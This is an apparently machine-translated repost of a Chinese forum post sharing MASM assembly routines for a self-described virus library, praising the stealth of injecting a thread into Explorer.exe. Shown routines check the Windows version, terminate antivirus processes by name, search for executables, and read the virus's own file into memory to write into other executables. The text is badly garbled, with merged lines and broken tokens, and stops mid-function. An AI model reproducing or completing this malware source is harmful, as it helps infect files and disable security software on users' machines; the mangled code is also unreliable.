Additional thread executes code on Explorer.exe

xiaoxiao2021-04-01  200

The previously written thread additional module couldn't find the principle is that an additional thread performs code on Explorer.exe (I think that there is a very high concealment because there is no process after the program is running, it is only a thread on Explorer.exe. .

Thanks to Luo Cong brothers, I met the question before I wrote the question. I got to find him! But you also have a strong QQ n solar, I didn't see you over the waves of super divers.

; ############################################################################### #########; shadow masm public function library; ########################################################################################################################################################################################################################### ################################

; ############################################################################### ######### GetWindowsver Proto Killantivirus Proto VBackupFile Proto Readvirustomemser Proto: DWORD WRITEVIRUSEEXE PROTO: DWORD,: DWORD; ################################################################################################################################################################################################## ##########################################################

; ############################################################################### ########; Judgment Windows version test pass; ####################################################################################################################################################################################################################################################################################### ##################### GetWindowsver Proc Local Osvi: OsversionInfo Mov Osvi.dwosveionsInfosize, Sizeof (OsversionInfo) Invoke GetversionEx, Addr Osvi XOR EBX, EBX .IF Osvi.dwplatformID == VER_PLATFORM_WIN32_NT MOV EBX, 1 .ELSE XOR EBX, EBX .Endif Invoke Messagebox, Null, Ctext ("This Is System NT"), CText ("Test"), MB_OK RET GETWINDOWSVER ENDP

; ############################################################################### ########; Terminate the anti-virus software test; ################################################################################################################################################################################################################################################################# ######################## KillAntiVirus proc LOCAL lppe: PROCESSENTRY32 LOCAL hProcessSnap: DWORD mov lppe.dwSize, SIZEOF PROCESSENTRY32 invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0; acquisition process snapshot handle mov hProcessSnap, eax; loop process to obtain information to determine whether the anti-virus software to invoke Process32First, hProcessSnap, addr lppe .WHILE eax invoke lstrcmp, addr lppe.szExeFile, CTEXT ( "notepad.exe") .IF eax == 0 invoke OpenProcess , PROCESS_TERMINATE, FALSE, lppe.th32ProcessID invoke TerminateProcess, eax, -1; kill it if the antivirus software .ENDIF invoke Process32Next, hProcessSnap, addr lppe .ENDWinvoke CloseHandle, hProcessSnap ret KillAntiVirus endp

; ############################################################################### ########; Back up the virus file; #################################################################################################################################################################################################################################################################### ##################### vBackupfile procLocal hfindfile: DWord local bypath [max_path]: Byte; Save Search Path [Backup Path] Local BYSearchPath [MAX_PATH]: BYTE; path to be searched and documents LOCAL byFile [MAX_PATH]: BYTE; file LOCAL lpFileData found: WIN32_FIND_DATA; get the system directory invoke GetSystemDirectory, addr byPath, SIZEOF byPath invoke lstrcat, addr bySearchPath, CTEXT ( "/ * exe.") invoke GetCurrentDirectory, sizeof byPath, addr byPath; invoke lstrcpy for obtaining search paths, addr bySearchPath, addr byPath invoke lstrcat, addr bySearchPath, CTEXT ( "/ Test / * exe."); backup path invoke lstrcat, addr byPath, CTEXT ( "/ Test /"); find files invoke FindFirstFile, addr bySearchPath, addr lpFileData .IF eax = INVALID_HANDLE_VALUE mov hFindFile, eax .WHILE eax invoke lstrcpy, addr byFile, addr byPath invoke lstrcat, addr byFile, addr lpFileData.cFileName invoke! Readvirustom, Addr Byfile Invoke FindnextFile, Hfindfi Le, Addr LpfileData, Hfindfile .ndif; Invoke MessageBox, Null, Ctext ("Test Function VBackupfile OK!"), CText ("Test"), MB_OK RET VBACKUPFILE ENDP

; ############################################################################### ########; read the virus file into the memory; ####################################################################################################################################################################################################################################################################################### ######################### r r t h: dWord local byfile: dWord Local: Byte local hreadfile: DWORD, DWFILESIZE: DWORD, byOfRead: DWORD; get the current exe file name and open the file invoke GetModuleFileName, hInstance, addr byFile, SIZEOF byFile invoke CreateFile, addr byFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL .IF eax = INVALID_HANDLE_VALUE mov hReadFile, eax!. ELSE ret .ENDIF; get the current file size exe allocating memory to read the file invoke GetFileSize, hReadFile, NULL mov dwFileSize, eax test eax, eax je ExitFunction invoke GlobalAlloc, GPTR, dwFileSize test eax, eax je ExitFunction mov hMem, eax invoke ReadFile, Hreadfile, HMEM, DWFILESIZE, AddR Byofread, Null Invoke Globalock, HMemInvoke Writevirustoexe, Dwwritefilename, HMEM

转载请注明原文地址:https://www.9cbs.com/read-131164.html

New Post(0)